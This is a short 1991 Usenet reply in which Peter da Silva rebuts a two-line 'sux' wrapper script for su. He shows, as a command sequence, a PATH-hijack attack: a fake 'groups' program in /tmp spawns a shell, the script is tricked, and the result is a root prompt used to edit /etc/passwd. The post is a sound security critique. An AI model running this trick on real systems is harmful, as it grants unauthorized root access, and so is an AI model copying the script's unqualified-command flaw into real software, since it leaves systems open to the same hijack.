sux, an enhancer for su

[Peter da Silva]

In article <1991Apr25.174534.13912 at ux1.cso.uiuc.edu> peltz at cerl.uiuc.edu (Steve Peltz) writes:
> #!/bin/sh
> groups | grep -s wheel && su $* || echo Sorry

$ cd /tmp
$ echo 'exec sh -i' > groups
$ chmod +x groups
$ PATH=:$PATH; export PATH
$ sux
# vi /etc/passwd...
-- 
Peter da Silva.  `-_-'  peter at ferranti.com
+1 713 274 5180.  'U`  "Have you hugged your wolf today?"